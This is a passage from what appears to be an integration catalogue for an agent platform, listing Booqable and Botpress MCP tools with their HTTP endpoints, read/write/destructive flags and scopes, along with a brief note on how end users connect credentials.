/api/v1/booqable/api/4/stripe_accounts/{id}. Scopes: api. booqable_get_api_4_tags (read) — List tags via GET /api/4/tags GET /api/v1/booqable/api/4/tags. Scopes: api. booqable_get_api_4_tax_categories (read) — List tax categories via GET /api/4/tax_categories GET /api/v1/booqable/api/4/tax_categories. Scopes: api. booqable_get_api_4_tax_categories_by_id (read) — Fetch tax category via GET /api/4/tax_categories/{id} GET /api/v1/booqable/api/4/tax_categories/{id}. Scopes: api. booqable_get_api_4_tax_rates (read) — List tax rates via GET /api/4/tax_rates GET /api/v1/booqable/api/4/tax_rates. Scopes: api. booqable_get_api_4_tax_rates_by_id (read) — Fetch tax rate via GET /api/4/tax_rates/{id} GET /api/v1/booqable/api/4/tax_rates/{id}. Scopes: api. booqable_get_api_4_tax_regions (read) — List tax regions via GET /api/4/tax_regions GET /api/v1/booqable/api/4/tax_regions. Scopes: api. booqable_get_api_4_tax_regions_by_id (read) — Fetch tax region via GET /api/4/tax_regions/{id} GET /api/v1/booqable/api/4/tax_regions/{id}. Scopes: api. booqable_get_api_4_tax_values (read) — List tax values via GET /api/4/tax_values GET /api/v1/booqable/api/4/tax_values. Scopes: api. booqable_get_api_4_tax_values_by_id (read) — Fetch tax value via GET /api/4/tax_values/{id} GET /api/v1/booqable/api/4/tax_values/{id}. Scopes: api. booqable_get_api_4_themes (read) — List themes via GET /api/4/themes GET /api/v1/booqable/api/4/themes. Scopes: api. booqable_get_api_4_url_redirects (read) — List url redirects via GET /api/4/url_redirects GET /api/v1/booqable/api/4/url_redirects. Scopes: api. booqable_get_api_4_url_redirects_by_id (read) — Fetch url redirect via GET /api/4/url_redirects/{id} GET /api/v1/booqable/api/4/url_redirects/{id}. Scopes: api. booqable_get_api_4_users (read) — List users via GET /api/4/users GET /api/v1/booqable/api/4/users. Scopes: api. booqable_get_api_4_users_by_id (read) — Fetch user via GET /api/4/users/{id} GET /api/v1/booqable/api/4/users/{id}. Scopes: api. booqable_get_api_4_webhook_endpoints (read) — List webhook endpoints via GET /api/4/webhook_endpoints GET /api/v1/booqable/api/4/webhook_endpoints. Scopes: api. booqable_get_api_4_webhooks_by_id (read) — Fetch webhook via GET /api/4/webhooks/{id} GET /api/v1/booqable/api/4/webhooks/{id}. Scopes: api. booqable_post_api_4_app_carriers (write) — Create app carrier via POST /api/4/app_carriers POST /api/v1/booqable/api/4/app_carriers. Scopes: api. booqable_post_api_4_app_payment_options (write) — Create app payment option via POST /api/4/app_payment_options POST /api/v1/booqable/api/4/app_payment_options. Scopes: api. booqable_post_api_4_assets (write) — Create asset via POST /api/4/assets POST /api/v1/booqable/api/4/assets. Scopes: api. booqable_post_api_4_authentication_methods (write) — Create authentication method via POST /api/4/authentication_methods POST /api/v1/booqable/api/4/authentication_methods. Scopes: api. booqable_post_api_4_barcodes (write) — Create barcode via POST /api/4/barcodes POST /api/v1/booqable/api/4/barcodes. Scopes: api. booqable_post_api_4_bulk_upserts (write) — Upsert bulk data via POST /api/4/bulk_upserts POST /api/v1/booqable/api/4/bulk_upserts. Scopes: api. booqable_post_api_4_bundle_items (write) — Create bundle item via POST /api/4/bundle_items POST /api/v1/booqable/api/4/bundle_items. Scopes: api. booqable_post_api_4_bundles (write) — Create bundle via POST /api/4/bundles POST /api/v1/booqable/api/4/bundles. Scopes: api. booqable_post_api_4_bundles_search (write) — Search bundles via POST /api/4/bundles/search POST /api/v1/booqable/api/4/bundles/search. Scopes: api. booqable_post_api_4_checkout_items (write) — Create checkout item via POST /api/4/checkout_items POST /api/v1/booqable/api/4/checkout_items. Scopes: api. booqable_post_api_4_collection_items (write) — Create collection item via POST /api/4/collection_items POST /api/v1/booqable/api/4/collection_items. Scopes: api. booqable_post_api_4_collection_trees (write) — Update tree via POST /api/4/collection_trees POST /api/v1/booqable/api/4/collection_trees. Scopes: api. booqable_post_api_4_collections (write) — Create collection via POST /api/4/collections POST /api/v1/booqable/api/4/collections. Scopes: api. booqable_post_api_4_coupons (write) — Create coupon via POST /api/4/coupons POST /api/v1/booqable/api/4/coupons. Scopes: api. booqable_post_api_4_customers (write) — Create customer via POST /api/4/customers POST /api/v1/booqable/api/4/customers. Scopes: api. booqable_post_api_4_customers_search (write) — Search customers via POST /api/4/customers/search POST /api/v1/booqable/api/4/customers/search. Scopes: api. booqable_post_api_4_default_properties (write) — Create default property via POST /api/4/default_properties POST /api/v1/booqable/api/4/default_properties. Scopes: api. booqable_post_api_4_deposit_holds (write) — Create via POST /api/4/deposit_holds POST /api/v1/booqable/api/4/deposit_holds. Scopes: api. booqable_post_api_4_device_tokens (write) — Create device token via POST /api/4/device_tokens POST /api/v1/booqable/api/4/device_tokens. Scopes: api. booqable_post_api_4_documents (write) — Create document via POST /api/4/documents POST /api/v1/booqable/api/4/documents. Scopes: api. booqable_post_api_4_documents_search (write) — Search documents via POST /api/4/documents/search POST /api/v1/booqable/api/4/documents/search. Scopes: api. booqable_post_api_4_downtimes (write) — Create downtime via POST /api/4/downtimes POST /api/v1/booqable/api/4/downtimes. Scopes: api. booqable_post_api_4_email_templates (write) — Create email template via POST /api/4/email_templates POST /api/v1/booqable/api/4/email_templates. Scopes: api. booqable_post_api_4_emails (write) — Create and sending email via POST /api/4/emails POST /api/v1/booqable/api/4/emails. Scopes: api. booqable_post_api_4_employee_invitations (write) — Send invitations via POST /api/4/employee_invitations POST /api/v1/booqable/api/4/employee_invitations. Scopes: api. booqable_post_api_4_invoice_finalizations (write) — Finalize invoice via POST /api/4/invoice_finalizations POST /api/v1/booqable/api/4/invoice_finalizations. Scopes: api. booqable_post_api_4_invoice_revisions (write) — Revise invoice via POST /api/4/invoice_revisions POST /api/v1/booqable/api/4/invoice_revisions. Scopes: api. booqable_post_api_4_ip_addresses (write) — Create restricted ip address via POST /api/4/ip_addresses POST /api/v1/booqable/api/4/ip_addresses. Scopes: api. booqable_post_api_4_items_search (write) — Search items via POST /api/4/items/search POST /api/v1/booqable/api/4/items/search. Scopes: api. booqable_post_api_4_lines (write) — Create line via POST /api/4/lines POST /api/v1/booqable/api/4/lines. Scopes: api. booqable_post_api_4_locations (write) — Create location via POST /api/4/locations POST /api/v1/booqable/api/4/locations. Scopes: api. booqable_post_api_4_menus (write) — Create menu with items via POST /api/4/menus POST /api/v1/booqable/api/4/menus. Scopes: api. booqable_post_api_4_merges (write, destructive) — Merge customers via POST /api/4/merges POST /api/v1/booqable/api/4/merges. Scopes: api. booqable_post_api_4_notes (write) — Create note via POST /api/4/notes POST /api/v1/booqable/api/4/notes. Scopes: api. booqable_post_api_4_notification_subscriptions (write) — Create notification subscription via POST /api/4/notification_subscriptions POST /api/v1/booqable/api/4/notification_subscriptions. Scopes: api. booqable_post_api_4_operating_rules (write) — Create operating rule via POST /api/4/operating_rules POST /api/v1/booqable/api/4/operating_rules. Scopes: api. booqable_post_api_4_operations (write) — Create operation via POST /api/4/operations POST /api/v1/booqable/api/4/operations. Scopes: api. booqable_post_api_4_order_delivery_rate_recalculations (write) — Recalculate delivery rates via POST /api/4/order_delivery_rate_recalculations POST /api/v1/booqable/api/4/order_delivery_rate_recalculations. Scopes: api. booqable_post_api_4_order_delivery_rates (write) — Create order delivery rate via POST /api/4/order_delivery_rates POST /api/v1/booqable/api/4/order_delivery_rates. Scopes: api. booqable_post_api_4_order_duplications (write) — Duplicate via POST /api/4/order_duplications POST /api/v1/booqable/api/4/order_duplications. Scopes: api. booqable_post_api_4_order_fulfillments (write) — Book via POST /api/4/order_fulfillments POST /api/v1/booqable/api/4/order_fulfillments. Scopes: api. booqable_post_api_4_order_price_recalculations (write) — Recalculate prices via POST /api/4/order_price_recalculations POST /api/v1/booqable/api/4/order_price_recalculations. Scopes: api. booqable_post_api_4_order_status_transitions (write) — Transition via POST /api/4/order_status_transitions POST /api/v1/booqable/api/4/order_status_transitions. Scopes: api. booqable_post_api_4_orders (write) — Create order via POST /api/4/orders POST /api/v1/booqable/api/4/orders. Scopes: api. booqable_post_api_4_orders_search (write) — Search orders via POST /api/4/orders/search POST /api/v1/booqable/api/4/orders/search. Scopes: api. booqable_post_api_4_payment_authorizations (write) — Create payment authorization via POST /api/4/payment_authorizations POST /api/v1/booqable/api/4/payment_authorizations. Scopes: api. booqable_post_api_4_payment_charges (write) — Create payment charge via POST /api/4/payment_charges POST /api/v1/booqable/api/4/payment_charges. Scopes: api. booqable_post_api_4_payment_methods (write) — Create payment method via POST /api/4/payment_methods POST /api/v1/booqable/api/4/payment_methods. Scopes: api. booqable_post_api_4_payment_refunds (write) — Create payment refund via POST /api/4/payment_refunds POST /api/v1/booqable/api/4/payment_refunds. Scopes: api. booqable_post_api_4_photos (write) — Create photo via POST /api/4/photos POST /api/v1/booqable/api/4/photos. Scopes: api. booqable_post_api_4_plannings_search (write) — Search plannings via POST /api/4/plannings/search POST /api/v1/booqable/api/4/plannings/search. Scopes: api. booqable_post_api_4_price_rules (write) — Create price rule via POST /api/4/price_rules POST /api/v1/booqable/api/4/price_rules. Scopes: api. booqable_post_api_4_price_rulesets (write) — Create price ruleset via POST /api/4/price_rulesets POST /api/v1/booqable/api/4/price_rulesets. Scopes: api. booqable_post_api_4_price_structures (write) — Create price structure via POST /api/4/price_structures POST /api/v1/booqable/api/4/price_structures. Scopes: api. booqable_post_api_4_price_tiles (write) — Create price tile via POST /api/4/price_tiles POST /api/v1/booqable/api/4/price_tiles. Scopes: api. booqable_post_api_4_product_group_duplications (write) — Product group duplications duplicate via POST /api/4/product_group_duplications POST /api/v1/booqable/api/4/product_group_duplications. Scopes: api. booqable_post_api_4_product_groups (write) — Create product group via POST /api/4/product_groups POST /api/v1/booqable/api/4/product_groups. Scopes: api. booqable_post_api_4_product_groups_search (write) — Search product groups via POST /api/4/product_groups/search POST /api/v1/booqable/api/4/product_groups/search. Scopes: api. booqable_post_api_4_products (write) — Create product via POST /api/4/products POST /api/v1/booqable/api/4/products. Scopes: api. booqable_post_api_4_products_search (write) — Search products via POST /api/4/products/search POST /api/v1/booqable/api/4/products/search. Scopes: api. booqable_post_api_4_properties (write) — Create property via POST /api/4/properties POST /api/v1/booqable/api/4/properties. Scopes: api. booqable_post_api_4_publications (write) — Create publication via POST /api/4/publications POST /api/v1/booqable/api/4/publications. Scopes: api. booqable_post_api_4_recommendations (write) — Create recommendation via POST /api/4/recommendations POST /api/v1/booqable/api/4/recommendations. Scopes: api. booqable_post_api_4_rendered_emails (write) — Render email content via POST /api/4/rendered_emails POST /api/v1/booqable/api/4/rendered_emails. Scopes: api. booqable_post_api_4_signatures (write) — Sign contract via POST /api/4/signatures POST /api/v1/booqable/api/4/signatures. Scopes: api. booqable_post_api_4_sortings (write) — Sort resources via POST /api/4/sortings POST /api/v1/booqable/api/4/sortings. Scopes: api. booqable_post_api_4_stock_adjustments (write) — Add stock bulk via POST /api/4/stock_adjustments POST /api/v1/booqable/api/4/stock_adjustments. Scopes: api. booqable_post_api_4_stock_item_archivations (write, destructive) — Archive via POST /api/4/stock_item_archivations POST /api/v1/booqable/api/4/stock_item_archivations. Scopes: api. booqable_post_api_4_stock_items (write) — Create stock item via POST /api/4/stock_items POST /api/v1/booqable/api/4/stock_items. Scopes: api. booqable_post_api_4_tax_categories (write) — Create tax category via POST /api/4/tax_categories POST /api/v1/booqable/api/4/tax_categories. Scopes: api. booqable_post_api_4_tax_rates (write) — Create tax rate via POST /api/4/tax_rates POST /api/v1/booqable/api/4/tax_rates. Scopes: api. booqable_post_api_4_tax_regions (write) — Create tax region via POST /api/4/tax_regions POST /api/v1/booqable/api/4/tax_regions. Scopes: api. booqable_post_api_4_themes (write) — Create theme via POST /api/4/themes POST /api/v1/booqable/api/4/themes. Scopes: api. booqable_post_api_4_url_redirects (write) — Create url redirect via POST /api/4/url_redirects POST /api/v1/booqable/api/4/url_redirects. Scopes: api. booqable_post_api_4_user_invitations (write) — Re invite user via POST /api/4/user_invitations POST /api/v1/booqable/api/4/user_invitations. Scopes: api. booqable_post_api_4_users (write) — Invite user via POST /api/4/users POST /api/v1/booqable/api/4/users. Scopes: api. booqable_post_api_4_webhook_endpoints (write) — Subscribe to webhook events via POST /api/4/webhook_endpoints POST /api/v1/booqable/api/4/webhook_endpoints. Scopes: api. booqable_put_api_4_barcodes_by_id (write) — Update barcode via PUT /api/4/barcodes/{id} PUT /api/v1/booqable/api/4/barcodes/{id}. Scopes: api. booqable_put_api_4_bundle_items_by_id (write) — Update bundle item via PUT /api/4/bundle_items/{id} PUT /api/v1/booqable/api/4/bundle_items/{id}. Scopes: api. booqable_put_api_4_bundles_by_id (write) — Update bundle via PUT /api/4/bundles/{id} PUT /api/v1/booqable/api/4/bundles/{id}. Scopes: api. booqable_put_api_4_checkout_items_by_id (write) — Update checkout item via PUT /api/4/checkout_items/{id} PUT /api/v1/booqable/api/4/checkout_items/{id}. Scopes: api. booqable_put_api_4_collections_by_id (write) — Update collection via PUT /api/4/collections/{id} PUT /api/v1/booqable/api/4/collections/{id}. Scopes: api. booqable_put_api_4_companies_current (write) — Update company via PUT /api/4/companies/current PUT /api/v1/booqable/api/4/companies/current. Scopes: api. booqable_put_api_4_coupons_by_id (write) — Update coupon via PUT /api/4/coupons/{id} PUT /api/v1/booqable/api/4/coupons/{id}. Scopes: api. booqable_put_api_4_customers_by_id (write) — Update customer via PUT /api/4/customers/{id} PUT /api/v1/booqable/api/4/customers/{id}. Scopes: api. booqable_put_api_4_default_properties_by_id (write) — Update default property via PUT /api/4/default_properties/{id} PUT /api/v1/booqable/api/4/default_properties/{id}. Scopes: api. booqable_put_api_4_documents_by_id (write) — Update document via PUT /api/4/documents/{id} PUT /api/v1/booqable/api/4/documents/{id}. Scopes: api. booqable_put_api_4_downtimes_by_id (write) — Update downtime via PUT /api/4/downtimes/{id} PUT /api/v1/booqable/api/4/downtimes/{id}. Scopes: api. booqable_put_api_4_email_templates_by_id (write) — Update email template via PUT /api/4/email_templates/{id} PUT /api/v1/booqable/api/4/email_templates/{id}. Scopes: api. booqable_put_api_4_employees_by_id (write) — Update employee via PUT /api/4/employees/{id} PUT /api/v1/booqable/api/4/employees/{id}. Scopes: api. booqable_put_api_4_integrations_by_id (write) — Update integration via PUT /api/4/integrations/{id} PUT /api/v1/booqable/api/4/integrations/{id}. Scopes: api. booqable_put_api_4_ip_addresses_by_id (write) — Update restricted ip address via PUT /api/4/ip_addresses/{id} PUT /api/v1/booqable/api/4/ip_addresses/{id}. Scopes: api. booqable_put_api_4_languages_by_id (write) — Update language via PUT /api/4/languages/{id} PUT /api/v1/booqable/api/4/languages/{id}. Scopes: api. booqable_put_api_4_lines_by_id (write) — Update line via PUT /api/4/lines/{id} PUT /api/v1/booqable/api/4/lines/{id}. Scopes: api. booqable_put_api_4_locations_by_id (write) — Update location via PUT /api/4/locations/{id} PUT /api/v1/booqable/api/4/locations/{id}. Scopes: api. booqable_put_api_4_menus_by_id (write) — Update menu and its items via PUT /api/4/menus/{id} PUT /api/v1/booqable/api/4/menus/{id}. Scopes: api. booqable_put_api_4_operating_rules_by_id (write) — Update operating rule via PUT /api/4/operating_rules/{id} PUT /api/v1/booqable/api/4/operating_rules/{id}. Scopes: api. booqable_put_api_4_order_delivery_rates_by_id (write) — Update order delivery rate via PUT /api/4/order_delivery_rates/{id} PUT /api/v1/booqable/api/4/order_delivery_rates/{id}. Scopes: api. booqable_put_api_4_orders_by_id (write) — Update order via PUT /api/4/orders/{id} PUT /api/v1/booqable/api/4/orders/{id}. Scopes: api. booqable_put_api_4_payment_authorizations_by_id (write) — Update payment authorization via PUT /api/4/payment_authorizations/{id} PUT /api/v1/booqable/api/4/payment_authorizations/{id}. Scopes: api. booqable_put_api_4_payment_charges_by_id (write) — Update payment charge via PUT /api/4/payment_charges/{id} PUT /api/v1/booqable/api/4/payment_charges/{id}. Scopes: api. booqable_put_api_4_payment_refunds_by_id (write) — Update payment refund via PUT /api/4/payment_refunds/{id} PUT /api/v1/booqable/api/4/payment_refunds/{id}. Scopes: api. booqable_put_api_4_photos_by_id (write) — Update photo via PUT /api/4/photos/{id} PUT /api/v1/booqable/api/4/photos/{id}. Scopes: api. booqable_put_api_4_price_rules_by_id (write) — Update price rule via PUT /api/4/price_rules/{id} PUT /api/v1/booqable/api/4/price_rules/{id}. Scopes: api. booqable_put_api_4_price_rulesets_by_id (write) — Update price ruleset via PUT /api/4/price_rulesets/{id} PUT /api/v1/booqable/api/4/price_rulesets/{id}. Scopes: api. booqable_put_api_4_price_structures_by_id (write) — Update price structure via PUT /api/4/price_structures/{id} PUT /api/v1/booqable/api/4/price_structures/{id}. Scopes: api. booqable_put_api_4_price_tiles_by_id (write) — Update price tile via PUT /api/4/price_tiles/{id} PUT /api/v1/booqable/api/4/price_tiles/{id}. Scopes: api. booqable_put_api_4_product_groups_by_id (write) — Update product group via PUT /api/4/product_groups/{id} PUT /api/v1/booqable/api/4/product_groups/{id}. Scopes: api. booqable_put_api_4_products_by_id (write) — Update product via PUT /api/4/products/{id} PUT /api/v1/booqable/api/4/products/{id}. Scopes: api. booqable_put_api_4_properties_by_id (write) — Update property via PUT /api/4/properties/{id} PUT /api/v1/booqable/api/4/properties/{id}. Scopes: api. booqable_put_api_4_stock_counts_by_id (write) — Update stock count via PUT /api/4/stock_counts/{id} PUT /api/v1/booqable/api/4/stock_counts/{id}. Scopes: api. booqable_put_api_4_stock_items_by_id (write) — Update stock item via PUT /api/4/stock_items/{id} PUT /api/v1/booqable/api/4/stock_items/{id}. Scopes: api. booqable_put_api_4_tax_categories_by_id (write) — Update tax category via PUT /api/4/tax_categories/{id} PUT /api/v1/booqable/api/4/tax_categories/{id}. Scopes: api. booqable_put_api_4_tax_rates_by_id (write) — Update tax rate via PUT /api/4/tax_rates/{id} PUT /api/v1/booqable/api/4/tax_rates/{id}. Scopes: api. booqable_put_api_4_tax_regions_by_id (write) — Update tax region via PUT /api/4/tax_regions/{id} PUT /api/v1/booqable/api/4/tax_regions/{id}. Scopes: api. booqable_put_api_4_url_redirects_by_id (write) — Update url redirect via PUT /api/4/url_redirects/{id} PUT /api/v1/booqable/api/4/url_redirects/{id}. Scopes: api. booqable_put_api_4_users_by_id (write) — Update user via PUT /api/4/users/{id} PUT /api/v1/booqable/api/4/users/{id}. Scopes: api. booqable_put_api_4_webhook_endpoints_by_id (write) — Update webhook events via PUT /api/4/webhook_endpoints/{id} PUT /api/v1/booqable/api/4/webhook_endpoints/{id}. Scopes: api. ================================================================================ ## Botpress URL: https://www.agenticfabriq.com/integrations/botpress Section: Integrated Tools Botpress — 98 MCP tools Provider key: botpress. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. botpress_delete_v1_admin_bots_by_id (write, destructive) — Delete bot (Admin API) via DELETE /v1/admin/bots/{id} DELETE /api/v1/botpress/v1/admin/bots/{id}. Scopes: api. botpress_delete_v1_admin_bots_by_id_issues_by_issueid (write, destructive) — Delete Bot Issue (Admin API) via DELETE /v1/admin/bots/{id}/issues/{issueId} DELETE /api/v1/botpress/v1/admin/bots/{id}/issues/{issueId}. Scopes: api. botpress_delete_v1_admin_integrations_by_id (write, destructive) — Delete integration (Admin API) via DELETE /v1/admin/integrations/{id} DELETE /api/v1/botpress/v1/admin/integrations/{id}. Scopes: api. botpress_delete_v1_admin_workspace_members_by_id (write, destructive) — Remove a member of a workspace (Admin API) via DELETE /v1/admin/workspace-members/{id} DELETE /api/v1/botpress/v1/admin/workspace-members/{id}. Scopes: api. botpress_delete_v1_admin_workspaces_by_id (write, destructive) — Delete workspace (Admin API) via DELETE /v1/admin/workspaces/{id} DELETE /api/v1/botpress/v1/admin/workspaces/{id}. Scopes: api. botpress_delete_v1_chat_conversations_by_id (write, destructive) — Permanently deletes a [Conversation](#schema_conversation). It cannot be undone. Also immediately deletes corresponding [Messages](#schema_message). (Runtime API) via DELETE /v1/chat/conversations/{id} DELETE /api/v1/botpress/v1/chat/conversations/{id}. Scopes: api. botpress_delete_v1_chat_conversations_by_id_participants_by_userid (write, destructive) — Remove a [Participant](#schema_participant) from a [Conversation](#schema_conversation). (Runtime API) via DELETE /v1/chat/conversations/{id}/participants/{userId} DELETE /api/v1/botpress/v1/chat/conversations/{id}/participants/{userId}. Scopes: api. botpress_delete_v1_chat_events_scheduled_by_id (write, destructive) — Permanently cancels a scheduled [Event](#schema_event). The event must be in a `scheduled` state. (Runtime API) via DELETE /v1/chat/events/scheduled/{id} DELETE /api/v1/botpress/v1/chat/events/scheduled/{id}. Scopes: api. botpress_delete_v1_chat_integration_identifiers (write, destructive) — Unlink an identifier from all integration instances that currently hold it (Runtime API) via DELETE /v1/chat/integration/identifiers DELETE /api/v1/botpress/v1/chat/integration/identifiers. Scopes: api. botpress_delete_v1_chat_messages_by_id (write, destructive) — Permanently deletes a [Message](#schema_message). It cannot be undone. (Runtime API) via DELETE /v1/chat/messages/{id} DELETE /api/v1/botpress/v1/chat/messages/{id}. Scopes: api. botpress_delete_v1_chat_users_by_id (write, destructive) — Permanently deletes a [User](#schema_user). It cannot be undone. (Runtime API) via DELETE /v1/chat/users/{id} DELETE /api/v1/botpress/v1/chat/users/{id}. Scopes: api. botpress_delete_v1_files_by_id (write, destructive) — Deletes a file. (Files API) via DELETE /v1/files/{id} DELETE /api/v1/botpress/v1/files/{id}. Scopes: api. botpress_delete_v1_tables_by_table (write, destructive) — Permanently deletes a table and all its associated data from the system. Use with caution, as this action cannot be undone. (Tables API) via DELETE /v1/tables/{table} DELETE /api/v1/botpress/v1/tables/{table}. Scopes: api. botpress_get_v1_admin_account_me (read) — Get details of the account authenticating with this endpoint. (Admin API) via GET /v1/admin/account/me GET /api/v1/botpress/v1/admin/account/me. Scopes: api. botpress_get_v1_admin_bots (read) — List bots (Admin API) via GET /v1/admin/bots GET /api/v1/botpress/v1/admin/bots. Scopes: api. botpress_get_v1_admin_bots_by_id (read) — Get bot details (Admin API) via GET /v1/admin/bots/{id} GET /api/v1/botpress/v1/admin/bots/{id}. Scopes: api. botpress_get_v1_admin_bots_by_id_analytics (read) — Get bot analytics (Admin API) via GET /v1/admin/bots/{id}/analytics GET /api/v1/botpress/v1/admin/bots/{id}/analytics. Scopes: api. botpress_get_v1_admin_bots_by_id_issues (read) — List Bot Issues (Admin API) via GET /v1/admin/bots/{id}/issues GET /api/v1/botpress/v1/admin/bots/{id}/issues. Scopes: api. botpress_get_v1_admin_bots_by_id_issues_by_issueid (read) — Get Bot Issue (Admin API) via GET /v1/admin/bots/{id}/issues/{issueId} GET /api/v1/botpress/v1/admin/bots/{id}/issues/{issueId}. Scopes: api. botpress_get_v1_admin_bots_by_id_issues_by_issueid_events (read) — List Events for a Bot Issue (Admin API) via GET /v1/admin/bots/{id}/issues/{issueId}/events GET /api/v1/botpress/v1/admin/bots/{id}/issues/{issueId}/events. Scopes: api. botpress_get_v1_admin_bots_by_id_logs (read) — Get bot logs (Admin API) via GET /v1/admin/bots/{id}/logs GET /api/v1/botpress/v1/admin/bots/{id}/logs. Scopes: api. botpress_get_v1_admin_hub_integrations (read) — List public integration (Admin API) via GET /v1/admin/hub/integrations GET /api/v1/botpress/v1/admin/hub/integrations. Scopes: api. botpress_get_v1_admin_hub_integrations_by_id (read) — Get public integration by Id (Admin API) via GET /v1/admin/hub/integrations/{id} GET /api/v1/botpress/v1/admin/hub/integrations/{id}. Scopes: api. botpress_get_v1_admin_hub_integrations_by_name_by_version (read) — Get public integration by name and version (Admin API) via GET /v1/admin/hub/integrations/{name}/{version} GET /api/v1/botpress/v1/admin/hub/integrations/{name}/{version}. Scopes: api. botpress_get_v1_admin_integrations (read) — List integrations, supports filtering and sorting capabilities (Admin API) via GET /v1/admin/integrations GET /api/v1/botpress/v1/admin/integrations. Scopes: api. botpress_get_v1_admin_integrations_by_id (read) — Get integration (Admin API) via GET /v1/admin/integrations/{id} GET /api/v1/botpress/v1/admin/integrations/{id}. Scopes: api. botpress_get_v1_admin_integrations_by_id_logs (read) — Get integration logs (Admin API) via GET /v1/admin/integrations/{id}/logs GET /api/v1/botpress/v1/admin/integrations/{id}/logs. Scopes: api. botpress_get_v1_admin_integrations_by_name_by_version (read) — Get integration (Admin API) via GET /v1/admin/integrations/{name}/{version} GET /api/v1/botpress/v1/admin/integrations/{name}/{version}. Scopes: api. botpress_get_v1_admin_workspace_members (read) — Lists all the members in a workspace (Admin API) via GET /v1/admin/workspace-members GET /api/v1/botpress/v1/admin/workspace-members. Scopes: api. botpress_get_v1_admin_workspace_members_me (read) — Get details of the account authenticating with this endpoint. (Admin API) via GET /v1/admin/workspace-members/me GET /api/v1/botpress/v1/admin/workspace-members/me. Scopes: api. botpress_get_v1_admin_workspaces (read) — List workspaces the user has access to (Admin API) via GET /v1/admin/workspaces GET /api/v1/botpress/v1/admin/workspaces. Scopes: api. botpress_get_v1_admin_workspaces_by_id (read) — Get workspace details (Admin API) via GET /v1/admin/workspaces/{id} GET /api/v1/botpress/v1/admin/workspaces/{id}. Scopes: api. botpress_get_v1_admin_workspaces_by_id_audit_records (read) — Get the audit records of a workspace, sorted from most recent to oldest. (Admin API) via GET /v1/admin/workspaces/{id}/audit-records GET /api/v1/botpress/v1/admin/workspaces/{id}/audit-records. Scopes: api. botpress_get_v1_admin_workspaces_by_id_public (read) — Get workspace public details (Admin API) via GET /v1/admin/workspaces/{id}/public GET /api/v1/botpress/v1/admin/workspaces/{id}/public. Scopes: api. botpress_get_v1_admin_workspaces_public (read) — List public workspaces (Admin API) via GET /v1/admin/workspaces/public GET /api/v1/botpress/v1/admin/workspaces/public. Scopes: api. botpress_get_v1_chat_conversations (read) — Retrieves a list of [Conversation](#schema_conversation) you’ve previously created. The conversations are returned in sorted order, with the most recent appearing first. The list can be filtered using [Tags](#tags). (Runtime API) via GET /v1/chat/conversations GET /api/v1/botpress/v1/chat/conversations. Scopes: api. botpress_get_v1_chat_conversations_by_id (read) — Retrieves the [Conversation](#schema_conversation) object for a valid identifier. (Runtime API) via GET /v1/chat/conversations/{id} GET /api/v1/botpress/v1/chat/conversations/{id}. Scopes: api. botpress_get_v1_chat_conversations_by_id_participants (read) — Retrieves a list of [Participant](#schema_participant) for a given [Conversation](#schema_conversation). (Runtime API) via GET /v1/chat/conversations/{id}/participants GET /api/v1/botpress/v1/chat/conversations/{id}/participants. Scopes: api. botpress_get_v1_chat_conversations_by_id_participants_by_userid (read) — Retrieves a [Participant](#schema_participant) from a [Conversation](#schema_conversation). (Runtime API) via GET /v1/chat/conversations/{id}/participants/{userId} GET /api/v1/botpress/v1/chat/conversations/{id}/participants/{userId}. Scopes: api. botpress_get_v1_chat_events (read) — Retrieves a list of [Event](#schema_event) you’ve previously created. The events are returned in sorted order, with the most recent appearing first. (Runtime API) via GET /v1/chat/events GET /api/v1/botpress/v1/chat/events. Scopes: api. botpress_get_v1_chat_events_by_id (read) — Retrieves the [Event](#schema_event) object for a valid identifiers. (Runtime API) via GET /v1/chat/events/{id} GET /api/v1/botpress/v1/chat/events/{id}. Scopes: api. botpress_get_v1_chat_integration_identifiers_availability (read) — Check whether an identifier is available, shareable, or unavailable for the calling integration (Runtime API) via GET /v1/chat/integration/identifiers/availability GET /api/v1/botpress/v1/chat/integration/identifiers/availability. Scopes: api. botpress_get_v1_chat_integration_instance_identifiers (read) — List the identifiers held by the calling integration instance (Runtime API) via GET /v1/chat/integration-instance/identifiers GET /api/v1/botpress/v1/chat/integration-instance/identifiers. Scopes: api. botpress_get_v1_chat_messages (read) — Retrieves a list of [Message](#schema_message) you’ve previously created. The messages are returned in sorted order, with the most recent appearing first. The list can be filtered using [Tags](/docs/developers/concepts/tags). (Runtime API) via GET /v1/chat/messages GET /api/v1/botpress/v1/chat/messages. Scopes: api. botpress_get_v1_chat_messages_by_id (read) — Retrieves the [Message](#schema_message) object for a valid identifier. (Runtime API) via GET /v1/chat/messages/{id} GET /api/v1/botpress/v1/chat/messages/{id}. Scopes: api. botpress_get_v1_chat_states_by_type_by_id_by_name (read) — Retrieves the [State](#schema_state) object for a valid identifier. (Runtime API) via GET /v1/chat/states/{type}/{id}/{name} GET /api/v1/botpress/v1/chat/states/{type}/{id}/{name}. Scopes: api. botpress_get_v1_chat_users (read) — Retrieves a list of [User](#schema_user) previously created. The users are returned in sorted order, with the most recent appearing first. The list can be filtered using [Tags](/docs/developers/concepts/tags). (Runtime API) via GET /v1/chat/users GET /api/v1/botpress/v1/chat/users. Scopes: api. botpress_get_v1_chat_users_by_id (read) — Retrieves the [User](#schema_user) object for a valid identifier. (Runtime API) via GET /v1/chat/users/{id} GET /api/v1/botpress/v1/chat/users/{id}. Scopes: api. botpress_get_v1_files (read) — List files for bot (Files API) via GET /v1/files GET /api/v1/botpress/v1/files. Scopes: api. botpress_get_v1_files_by_id (read) — Get file (Files API) via GET /v1/files/{id} GET /api/v1/botpress/v1/files/{id}. Scopes: api. botpress_get_v1_files_by_id_passages (read) — List passages for a file (Files API) via GET /v1/files/{id}/passages GET /api/v1/botpress/v1/files/{id}/passages. Scopes: api. botpress_get_v1_files_search (read) — Search files (Files API) via GET /v1/files/search GET /api/v1/botpress/v1/files/search. Scopes: api. botpress_get_v1_files_tags (read) — List available tags (Files API) via GET /v1/files/tags GET /api/v1/botpress/v1/files/tags. Scopes: api. botpress_get_v1_files_tags_by_tag_values (read) — List available tags (Files API) via GET /v1/files/tags/{tag}/values GET /api/v1/botpress/v1/files/tags/{tag}/values. Scopes: api. botpress_get_v1_tables (read) — 